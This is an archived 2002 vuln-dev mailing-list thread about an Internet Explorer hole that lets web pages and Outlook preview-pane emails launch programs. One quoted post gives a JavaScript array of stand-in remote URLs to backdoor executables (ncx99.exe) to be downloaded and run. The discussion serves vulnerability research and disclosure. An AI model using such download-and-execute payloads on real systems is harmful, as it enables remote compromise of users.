RE: Rather large MSIE-hole
From: Chad Thunberg (chadth@nologin.org)Date: 03/15/02
- Previous message: Keith Tyler: "RE: Rather large MSIE-hole"
- In reply to: KF: "Re: Rather large MSIE-hole"
- Next in thread: Joerg Over: "Re: Rather large MSIE-hole"
- Next in thread: Slow2Show: "Re: Rather large MSIE-hole"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: "Chad Thunberg" <chadth@nologin.org> To: "KF" <dotslash@snosoft.com>, <vuln-dev@security-focus.com> Date: Thu, 14 Mar 2002 22:35:58 -0800
This is not limited to a user visiting a webpage. Outlook and Outlook
express execute client side code in email per the IE settings assigned. A
user doesn't even have to open the html formatted email with the js or this
xml code embedded if they are using a preview pain. Also, if you look at
the codebase and the functions surrounding it, you will realize that passing
additional parameters separated by any type of space will not work.
However, using this in conjunction with other methods and transports can be
very powerful.
-Chad
-----Original Message-----
From: KF [mailto:dotslash@snosoft.com]
Sent: Thursday, March 14, 2002 2:48 PM
To: vuln-dev@security-focus.com
Subject: Re: Rather large MSIE-hole
Another thought... will this bug run an executable from a web page? If
so you could just make your own binary to do whatever you wanted. Like
http://mysiteathome.com/malware.exe or something along those lines. I
would HOPE that it asks to save the file to disk or even better ignore
it all together. Maybe try something like:
var programName=new Array(
'http://mysiteathome.com/ncx99.exe',
'http://someothersite.com/ncx99.exe',
);
I would do this myself but I don't have any windows boxen to test.
-KF
Paul D. Campbell wrote:
>>Could you not create a batch file that housed the commands you wanted
>>to run
>>(with args) and just run the batch file?
>>I apologise if someone has already addressed this.
>>
>>-Eric
>>
>
>You would probably be able to do this. However, you would first need
>to place the batch file on the target machine. Then you would have to
>sit around and hope the user visits your malicious site. Though, if
>you have the capability to write to someone's harddrive you could do
>something much nastier than this :)
>
>Paul
>
>
- Previous message: Keith Tyler: "RE: Rather large MSIE-hole"
- In reply to: KF: "Re: Rather large MSIE-hole"
- Next in thread: Joerg Over: "Re: Rather large MSIE-hole"
- Next in thread: Slow2Show: "Re: Rather large MSIE-hole"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|